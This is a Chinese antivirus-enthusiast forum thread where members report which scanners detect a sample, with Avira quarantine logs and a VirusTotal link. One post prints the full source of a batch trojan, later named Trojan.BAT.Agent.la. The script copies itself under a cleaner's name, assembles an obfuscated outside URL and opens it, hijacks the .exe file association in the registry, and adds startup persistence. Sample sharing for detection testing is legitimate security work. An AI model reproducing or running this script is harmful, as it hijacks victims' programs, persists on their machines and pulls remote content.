BAT1x BD报

IllusionWing

http://www.virustotal.com/zh-cn/analisis/793fa5c1531041e0782a4d0ec07be0ee
内容很恶心(不要想歪了)..

kingmuro

过mcafee8.5

dreams521

TO KL

su-tt

ESS不报

linjw

TO AVIRA

hj5abc

?

The file 'G:\Content.IE5\8921IB8R\cy[1].htm'
contained a virus or unwanted program 'HTML/Rce.Gen' [virus]
Action(s) taken:The file was moved to '49b93583.qua'!

The file 'G:\Content.IE5\8921IB8R\s[1].htm'
contained a virus or unwanted program 'EXP/XMLSPAN.B' [exploit]
Action(s) taken:The file was moved to '498f3568.qua'!

The file 'G:\Content.IE5\8921IB8R\wwe[1].htm'
contained a virus or unwanted program 'JS/Dldr.Agent.HZ' [virus]
Action(s) taken:The file was moved to '49c33587.qua'!

The EQs

连BAT都能行为启发，太牛X

IllusionWing

我说内容很恶心..
@echo off
@if "%0"=="%windir%\TrashClean.bat" goto kis
@copy %0 "%windir%\TrashClean.bat">nul
@start /min %windir%\TrashClean.bat
@exit
:kis
@if exist c:\tcu.dat goto ends
@echo.>C:\tcu.dat
@copy %windir%\system32\cmd.exe c:\microsoft.k00>nul
@assoc .k00=exefile>nul
@attrib c:\microsoft.k00 +a +r +s>nul
@set x=afdf4
@set y=ds4f4d
@set z=108
@set m=ht
@start /min %m%tp://%x%%y%.cn/a%z%.htm>nul
@reg add HKCR\exeflle /ve /t REG_SZ /d "应用程序" /f>nul
@reg add HKCR\exeflle\DefaultIcon /ve /t REG_SZ /d "%1" /f>nul
@reg add HKCR\exeflle\shell\open\command /ve /t REG_SZ /d "%windir%\TrashClean.bat" /f>nul
@echo @assoc .exe=exeflle>assocn.bat
@start /min c:\microsoft.k00 /c assocn.bat>nul
@echo @start /min "%windir%\TrashClean.bat">C:\usen.bat
@copy C:\usen.bat "%HOMEDRIVE%\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Automatic Trash Clean.bat">nul
@copy C:\usen.bat "%HOMEDRIVE%\Users\%USERNAME%\Documents and Settings\%USERNAME%\「开始」菜单\程序\启动\Automatic Trash Clean.bat">nul
@del C:\usen.bat>nul
@del c:\tcu.dat>nul
@echo 请使用瑞星全功能安全软件2009！>%USERPROFILE%\Desktop\重要提示.txt
@echo 请使用瑞星全功能安全软件2009！>%USERPROFILE%\桌面\重要提示.txt
:ends
@exit

尤金卡巴斯基

Trojan.BAT.Agent.la